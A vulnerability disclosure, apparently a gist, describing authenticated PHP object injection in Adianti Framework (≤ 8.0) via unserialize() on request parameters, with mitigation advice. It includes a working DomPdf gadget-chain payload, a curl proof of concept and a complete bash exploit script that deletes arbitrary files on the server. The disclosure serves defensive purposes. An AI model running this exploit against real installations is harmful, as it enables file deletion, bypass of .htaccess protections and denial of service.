mcdruid / **adianti_framework_object_injection.md** Secret

Last active last month

Adianti Framework PHP Object Injection

adianti_framework_object_injection.md

Summary

Adianti Framework has multiple PHP Object Injection vulnerabilities as a result of Deserialization of Untrusted Data.

(POP/) Gadget Chains exist in Adianti Framework (and its libraries) which allow Object Injection vulnerabilities to be exploited, for example to delete arbitrary files. Other attacks may be possible depending on what additional code is used in a given project.

Most functionality within Adianti Framework requires authentication by default, and all of the vulnerabilities require authentication. Low user-level privileges are sufficient.

Timeline

- 2025-02-27: attempt to contact maintainers via contact form

Details of the Project

- https://adiantiframework.com.br/
- https://sourceforge.net/projects/adianti/ (older version?)
- Vulnerable version: <= 8.0

Vulnerability Classification

- CWE-502: Deserialization of Untrusted Data
- CAPEC-586: Object Injection
- CVSS (v3): CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H 8.3 High
- CVE: assignment pending

Vulnerable Code

In multiple places, Adianti Framework passes untrusted user input from a HTTP request (typically in the `$param` array) to PHP's `unserialize()`.

Examples include

`\LoginForm::onLogin`:

```
    {
      AdiantiCoreApplication::gotoPage($param['previous_class'],
  $param['previous_method'], unserialize($param['previous_parameters'])); // reload
    }
```

`\Adianti\Service\AdiantiUploaderService::show`:

```
    if (!empty($param['extensions']))
    {
      $name = $param['name'];
      $extensions = unserialize(base64_decode( $param['extensions'] ));
```

Other instances:

```
  lib/adianti/base/TStandardSeek.php:316:
  TSession::setValue('standard_seek_criteria',
  unserialize(base64_decode($param['criteria'])));
  lib/adianti/service/AdiantiAutocompleteService.php:46:   $criteria =
  unserialize(base64_decode($param['criteria']));
  lib/adianti/service/AdiantiMultiSearchService.php:52:    $criteria = unserialize(
  base64_decode(str_replace(array('-', '_'), array('+', '/'), $param['criteria'])) );
```

Steps to Reproduce

Adianti Framework includes the DomPdf library which has a viable File Delete Gadget Chain that can be used in a Proof of Concept.

https://github.com/ambionics/phpggc/tree/master/gadgetchains/Dompdf/

Example payload to delete the LICENSE file from the current directory:

```
  $ phpggc -f DomPdf/FD1 LICENSE
  a:2:{i:7;O:11:"Dompdf\Cpdf":1:{s:10:"imageCache";a:1:{i:0;s:7:"LICENSE";}}i:7;i:7;}
```

Proof of Concept using this payload in a request to Adianti Framework's login form. Valid credentials are required, as the vulnerable code comes after authentication.

```
$ curl -i 'http://adianti.ddev.site/engine.php?
class=LoginForm&method=onLogin&static=1' -d
'login=user&password=user&unit_id=1&lang_id=en&previous_class=foo&previous_method=bar&
{i:7;O:11:"Dompdf\Cpdf":1:{s:10:"imageCache";a:1:{i:0;s:7:"LICENSE";}}i:7;i:7;}'
```

Another Proof of Concept using a bash script, which uses the DomPdf Gadget Chain and the file upload functionality in Adianti Framework. The script requires valid user credentials and the path of the file to be deleted.

```
$ touch /var/www/adianti/now_you_see_me.txt ; ls /var/www/adianti/*.txt ; echo ;
adianti_poc.sh http://adianti.ddev.site user user now_you_see_me.txt ; echo ; ls
/var/www/adianti/*.txt

/var/www/adianti/now_you_see_me.txt

# session_cookie: PHPSESSID_template=fb32410ea34e645c9b0e3a52fd2e7439
# element: s:18:"now_you_see_me.txt"
# payload:
YToyOntpOjc7TzoxMToiRG9tcGRmXENwZGYiOjE6e3M6MTA6ImltYWdlQ2FjaGUiO2E6MTp7aTowO3M6MTg6Im

HTTP/1.1 200 OK

..snip..

{"type":"error","msg":"Hash error"}

ls: cannot access '/var/www/adianti/*.txt': No such file or directory
```

This attack might be used to remove a .htaccess file protecting a directory, or to delete an important file causing a Denial of Service.

Other Gadget Chains may be available in applications written using Adianti Framework which would allow other attacks such as File Writes and Remote Code Execution.

Mitigation

The calls to `unserialize` could be made safer with the `allowed_classes` option to disable Object Injection:

https://www.php.net/manual/en/function.unserialize.php

...assuming it's not necessary for objects to be deserialized.

If possible, a better mitigation would be to replace the use of serialization with `json_encode` and `json_decode`.

poc.sh

```
#!/bin/bash

if [ "$#" -ne 4 ]; then
  echo "Usage: $0 url username password target_file"
  echo
  echo "Examples:"
  echo
  echo "$0 http://adianti.ddev.site user password now_you_see_me.txt"
  echo "$0 http://adianti.ddev.site user password /var/www/html/now_you_see_me.txt"
  exit
fi

url="${1%/}"  # 'http://adianti.ddev.site' # remove trailing slash
username="$2" # user
password="$3" # user
target_file="$4"

# get session cookie by logging in with valid creds
session_cookie=$(curl -is "$url/engine.php?class=LoginForm&method=onLogin&static=1&static=1" -d "log

echo "# session_cookie: $session_cookie"

count_chars="${#target_file}"
# e.g. s:9:\".htaccess\";
element="s:${count_chars}:\"$target_file\""

# phpggc -f DomPdf/FD1 .haccess
payload='a:2:{i:7;O:11:"Dompdf\Cpdf":1:{s:10:"imageCache";a:1:{i:0;~PLACEHOLDER~;}}i:7;i:7;}'

# This will only work if there are no ^ chars in the file path
# phpggc can base64 encode, but we want to replace the placeholder beforehand
payload=$(echo $payload | sed "s^~PLACEHOLDER~^$element^" | base64 --wrap=0)

echo "# element: $element"
echo "# payload: $payload"
echo

# send exploit
curl -si "$url/engine.php?class=AdiantiUploaderService&extensions=${payload}" -b "${session_cookie}"
```